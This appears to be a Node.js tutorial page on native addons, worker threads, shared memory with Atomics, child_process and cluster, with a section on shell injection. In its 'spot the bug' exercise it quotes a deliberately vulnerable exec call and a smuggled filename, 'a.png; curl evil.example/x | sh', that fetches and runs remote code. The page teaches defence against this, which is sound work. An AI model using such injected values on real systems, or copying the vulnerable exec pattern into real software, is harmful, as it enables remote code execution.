Native Code & Workers
Native addons, briefly
Section titled “Native addons, briefly”A native addon is a compiled .node file (actually a shared library) that JavaScript can require() like any other module — used when a package needs to call a system library or squeeze out performance no amount of JS optimization reaches. N-API is the stable C ABI Node exposes for writing these, specifically so an addon compiled against one Node version keeps working on later versions without a rebuild. Most published native packages ship prebuilds (precompiled binaries for common platform/arch/Node-ABI combinations) and only fall back to compiling from source with node-gyp (which needs a C++ toolchain and Python installed) when no matching prebuild exists — this is exactly why npm ci sometimes takes noticeably longer or fails outright in a minimal Docker image: it is not installing JavaScript, it is compiling C++.
worker_threads: a real thread, a separate heap
Section titled “worker_threads: a real thread, a separate heap”Each Worker is a genuine OS thread running its own V8 isolate — its own heap, its own event loop, its own globals. Nothing is shared by default; you opt in per piece of data.
flowchart TB
Main["Main thread
own V8 isolate, own event loop"] -->|"postMessage()
structured-clones the value"| W1["Worker 1
own V8 isolate, own event loop"]
Main -->|"postMessage()
structured-clones the value"| W2["Worker 2
own V8 isolate, own event loop"]
Main -.->|"SharedArrayBuffer
same underlying memory"| Shared[("shared memory")]
W1 -.-> Shared
W2 -.-> Shared
Proving SharedArrayBuffer + Atomics has no lost updates
Section titled “Proving SharedArrayBuffer + Atomics has no lost updates”Four workers each increment a shared counter 100,000 times. With a real SharedArrayBuffer and Atomics.add (an atomic read-modify-write), every increment counts — no lost updates, even with four threads hitting the same memory concurrently:
Output (verified on Node 24)
Atomics counter after 4 workers x 100,000 increments each: 400000400,000 is the mathematically exact answer (4 × 100,000) — Atomics.add guarantees the read-modify-write happens as one indivisible step, so two workers can never both read the same value and each add to it, losing one of the increments the way a plain view[0]++ on shared memory could.
The other half of the proof: postMessage copies, it does not share
Section titled “The other half of the proof: postMessage copies, it does not share”The common misconception this contrasts with is assuming postMessage/workerData shares an object by reference. It does not — every value crossing that boundary is passed through the structured clone algorithm, which makes an independent copy:
Output (verified on Node 24)
worker reported its own copy at: 100000
worker reported its own copy at: 100000
worker reported its own copy at: 100000
worker reported its own copy at: 100000
main thread counter.value (never touched by any worker): 0Each worker’s copy reaches exactly 100,000 (no lost updates within a worker, since each has exclusive access to its own copy), but the main thread’s original object is completely untouched — proof that workerData/postMessage never gave the workers a reference to the real object at all. structuredClone() (the same global function, usable directly) follows this same algorithm: it deep-copies most values (objects, arrays, Maps, Sets, dates, typed arrays) but cannot clone functions, DOM nodes and similar host objects, or (deliberately) classes with private fields that do not implement the algorithm — those throw a DataCloneError.
MessageChannel/MessagePort is the same structured-clone-based messaging primitive Worker uses internally, exposed directly for building your own two-way channel — including between two ports each handed to a different worker, so workers can talk to each other without routing every message through the main thread.
child_process: spawn/execFile vs exec, and why it matters for injection
Section titled “child_process: spawn/execFile vs exec, and why it matters for injection”exec() runs its command string through a real shell, which means shell metacharacters in that string are interpreted — including ones from untrusted input. execFile() (and spawn()) never invoke a shell for the command itself; arguments are passed as an array and reach the target program literally, with no metacharacter interpretation:
Output (verified on Node 24)
exec() result: "hello\nINJECTED"
execFile() result: "hello; echo INJECTED"exec() split the string on ; and ran echo INJECTED as a second, real command — that is shell injection, demonstrated with a payload that only prints a word, but the exact same mechanism runs rm -rf, exfiltrates data, or opens a reverse shell if the input is adversarial instead of benign. execFile() handed 'hello; echo INJECTED' to echo as one single literal argument — no shell involved, nothing to inject into. The rule: if any part of a command comes from outside your own source code, use execFile/spawn with an argument array, never exec with string concatenation.
cluster: multiple processes, one port
Section titled “cluster: multiple processes, one port”cluster forks full OS processes (not threads) that share the same listening port via the primary process — a different scaling strategy from worker_threads (isolate CPU-bound work) or a reverse proxy (route across independent processes yourself):
Output (verified on Node 24)
primary: forking 2 workers
worker: doing its (simulated) job, then exiting cleanly
worker: doing its (simulated) job, then exiting cleanly
both workers exited with code 0In a real server, each cluster worker runs the full application and the primary process round-robins (or, on some platforms, lets the OS load-balance) incoming connections across them — a way to use multiple CPU cores for an I/O-heavy Node server without any worker_threads code, at the cost of each worker being a fully separate process with its own memory (no shared in-process cache without an external store like Redis).
Mental Model
Section titled “Mental Model”worker_threads is renting a second, fully furnished apartment (its own V8 isolate, own heap, own event loop) — nothing from your apartment is there unless you explicitly ship it over, either as a copy (postMessage, structured clone) or by handing over a key to one shared room (SharedArrayBuffer). child_process is not renting an apartment in the same building at all — it is calling a completely different tenant on the phone (execFile/spawn) or, with exec, handing a stranger (the shell) a note and trusting them to read it exactly as written, which is exactly the trust exec breaks when the note contains someone else’s words.
Trade-offs
Section titled “Trade-offs”Threads (worker_threads) are cheaper to spin up than processes and can share memory directly via SharedArrayBuffer, but a crash that takes down the whole process takes every worker with it, and Atomics-based shared-memory code is genuinely harder to get right than message-passing. Processes (cluster, child_process) are fully isolated — one crashing does not affect the others — at the cost of more memory overhead per instance and no free shared state; anything two processes need in common (a cache, a session store) has to live somewhere both can reach, like Redis. exec’s shell access is strictly more powerful than execFile’s direct-exec (pipes, globs, env expansion all work), which is exactly the surface area that makes it dangerous with any input you do not fully control yourself.
Common Misconceptions
Section titled “Common Misconceptions”- “
postMessageshares the object between threads.” It structured-clones it — the receiving side gets an independent copy. Only aSharedArrayBuffer(accessed through a typed array) is genuinely shared memory. - “
Atomicsis only about performance.” Its actual job is correctness: without it, concurrent reads/writes to shared memory from multiple threads can interleave and lose updates. It happens to also enable low-level coordination primitives (Atomics.wait/notify), but the core guarantee is atomicity, not speed. - “
execFileis just a slower, safer version ofexec.” It is not slower for equivalent work — it simply never spawns a shell for the target command. The safety difference is a direct consequence of skipping shell parsing entirely, not a performance trade-off.
Reading AI-generated code
Section titled “Reading AI-generated code”Generated code that shells out to run a system command is one of the highest-value things to check carefully, because the injection risk is invisible unless you know to look at how the command is built.
🐛 Spot the bug
// AI-written "resize an uploaded image" helperimport { exec } from 'node:child_process';
function resizeImage(filename, width) {exec(`convert uploads/${filename} -resize ${width} output/${filename}`, (err) => { if (err) console.error('resize failed', err);});}// filename comes from the original upload's filename, sent by the clientShow the answer
filename is attacker-controlled (it is whatever name the uploader’s browser sent) and gets interpolated directly into a string that exec runs through a real shell. A filename like a.png; curl evil.example/x | sh runs an entirely separate, attacker-chosen command after the semicolon — classic shell injection, not a hypothetical. The fix is execFile('convert', ['uploads/' + filename, '-resize', String(width), 'output/' + filename], callback), which passes each argument literally with no shell involved, plus validating/sanitizing filename before it ever touches the filesystem at all (reject path separators and null bytes at minimum).